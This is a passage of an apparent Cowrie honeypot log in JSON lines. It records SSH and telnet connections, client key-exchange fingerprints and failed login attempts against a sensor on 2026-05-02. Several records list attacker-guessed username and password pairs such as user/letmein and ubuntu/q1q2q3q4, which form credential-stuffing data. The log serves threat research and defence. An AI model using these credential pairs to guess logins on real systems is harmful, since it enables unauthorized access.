t-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:49.324851Z","src_ip":"176.65.132.254","session":"1401ab8281d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vivek","password":"vivek","message":"login attempt [vivek/vivek] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:49.768217Z","src_ip":"176.65.132.254","session":"1401ab8281d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:50.852716Z","src_ip":"176.65.132.254","session":"1401ab8281d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":78.54526400566101,"message":"Connection lost after 78 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:51.075965Z","src_ip":"134.209.8.29","session":"7c46951151da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.01871037483215,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:52.037837Z","src_ip":"62.210.97.77","session":"af7a68d88ce4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":47622,"dst_ip":"10.17.0.5","dst_port":23,"session":"68c02ba0ac6e","protocol":"telnet","message":"New connection: 65.60.27.33:47622 (10.17.0.5:23) [session: 68c02ba0ac6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:53.094816Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":42620,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa60b2746342","protocol":"ssh","message":"New connection: 176.65.132.254:42620 (10.17.0.5:22) [session: fa60b2746342]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:53.527245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:53.531955Z","src_ip":"176.65.132.254","session":"fa60b2746342","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:53.617172Z","src_ip":"176.65.132.254","session":"fa60b2746342","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.967397451400757,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:53.701087Z","src_ip":"38.54.119.93","session":"4939c3a0ea7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45832,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5e1ee817b58","protocol":"telnet","message":"New connection: 62.210.97.77:45832 (10.17.0.5:23) [session: a5e1ee817b58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:53.718569Z"}
{"eventid":"cowrie.session.closed","duration":35.06375241279602,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:53.730826Z","src_ip":"62.210.97.77","session":"9ebb49e85f80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.90877890586853,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:53.751940Z","src_ip":"62.210.97.77","session":"fc1efd260cc6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"tom","password":"tom123","message":"login attempt [tom/tom123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:53.866835Z","src_ip":"176.65.132.254","session":"fa60b2746342","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.88878417015076,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:54.447503Z","src_ip":"62.210.97.77","session":"1b356db54829","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:54.955218Z","src_ip":"176.65.132.254","session":"fa60b2746342","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45846,"dst_ip":"10.17.0.5","dst_port":23,"session":"0db744ea9798","protocol":"telnet","message":"New connection: 62.210.97.77:45846 (10.17.0.5:23) [session: 0db744ea9798]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:55.666214Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.235.176","src_port":43920,"dst_ip":"159.203.135.109","dst_port":22,"session":"13f7c77f8212","protocol":"ssh","message":"New connection: 103.189.235.176:43920 (159.203.135.109:22) [session: 13f7c77f8212]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:56.493551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:56.501211Z","src_ip":"103.189.235.176","session":"13f7c77f8212","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:56.734013Z","src_ip":"103.189.235.176","session":"13f7c77f8212","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":51868,"dst_ip":"10.17.0.5","dst_port":23,"session":"5dd434149cff","protocol":"telnet","message":"New connection: 65.60.27.33:51868 (10.17.0.5:23) [session: 5dd434149cff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:56.860800Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45854,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f82aea017ba","protocol":"telnet","message":"New connection: 62.210.97.77:45854 (10.17.0.5:23) [session: 2f82aea017ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:57.241020Z"}
{"eventid":"cowrie.session.closed","duration":31.999724864959717,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:57.298203Z","src_ip":"62.210.97.77","session":"c7a17f3584d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":42630,"dst_ip":"10.17.0.5","dst_port":22,"session":"92cd3c33d828","protocol":"ssh","message":"New connection: 176.65.132.254:42630 (10.17.0.5:22) [session: 92cd3c33d828]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:57.653454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:57.659991Z","src_ip":"176.65.132.254","session":"92cd3c33d828","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"letmein","message":"login attempt [user/letmein] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:57.672921Z","src_ip":"103.189.235.176","session":"13f7c77f8212","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:57.742082Z","src_ip":"176.65.132.254","session":"92cd3c33d828","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"123456","message":"login attempt [claude/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:58.007955Z","src_ip":"176.65.132.254","session":"92cd3c33d828","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:58.912909Z","src_ip":"103.189.235.176","session":"13f7c77f8212","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:59.092458Z","src_ip":"176.65.132.254","session":"92cd3c33d828","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.232.13.218","src_port":53140,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b8bdd918ee6","protocol":"ssh","message":"New connection: 156.232.13.218:53140 (10.17.0.5:22) [session: 9b8bdd918ee6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:59.913391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:59.918486Z","src_ip":"156.232.13.218","session":"9b8bdd918ee6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:59.990059Z","src_ip":"156.232.13.218","session":"9b8bdd918ee6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gittest","password":"gittest","message":"login attempt [gittest/gittest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:00.319528Z","src_ip":"156.232.13.218","session":"9b8bdd918ee6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.70173907279968,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:00.742653Z","src_ip":"62.210.97.77","session":"4b8a94b7f648","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41782,"dst_ip":"10.17.0.5","dst_port":23,"session":"c35c27245b4b","protocol":"telnet","message":"New connection: 62.210.97.77:41782 (10.17.0.5:23) [session: c35c27245b4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:00.808586Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:01.412110Z","src_ip":"156.232.13.218","session":"9b8bdd918ee6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":42642,"dst_ip":"10.17.0.5","dst_port":22,"session":"3586e16864c2","protocol":"ssh","message":"New connection: 176.65.132.254:42642 (10.17.0.5:22) [session: 3586e16864c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:01.672415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:01.678440Z","src_ip":"176.65.132.254","session":"3586e16864c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:01.764134Z","src_ip":"176.65.132.254","session":"3586e16864c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test!@","message":"login attempt [test/test!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:02.050663Z","src_ip":"176.65.132.254","session":"3586e16864c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":52312,"dst_ip":"10.17.0.5","dst_port":22,"session":"264186ae7563","protocol":"ssh","message":"New connection: 187.16.96.250:52312 (10.17.0.5:22) [session: 264186ae7563]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:03.166117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:03.171750Z","src_ip":"187.16.96.250","session":"264186ae7563","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:03.288878Z","src_ip":"187.16.96.250","session":"264186ae7563","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:03.552558Z","src_ip":"176.65.132.254","session":"3586e16864c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"q1q2q3q4","message":"login attempt [ubuntu/q1q2q3q4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:03.789429Z","src_ip":"187.16.96.250","session":"264186ae7563","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:04.909734Z","src_ip":"187.16.96.250","session":"264186ae7563","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.380449295043945,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:05.365458Z","src_ip":"62.210.97.77","session":"ab91966910f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.66515612602234,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:05.408261Z","src_ip":"62.210.97.77","session":"9f29a503a62c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":58658,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ffd4211f2ca","protocol":"ssh","message":"New connection: 176.65.132.254:58658 (10.17.0.5:22) [session: 4ffd4211f2ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:05.639977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:05.650289Z","src_ip":"176.65.132.254","session":"4ffd4211f2ca","protocol":"ssh"}
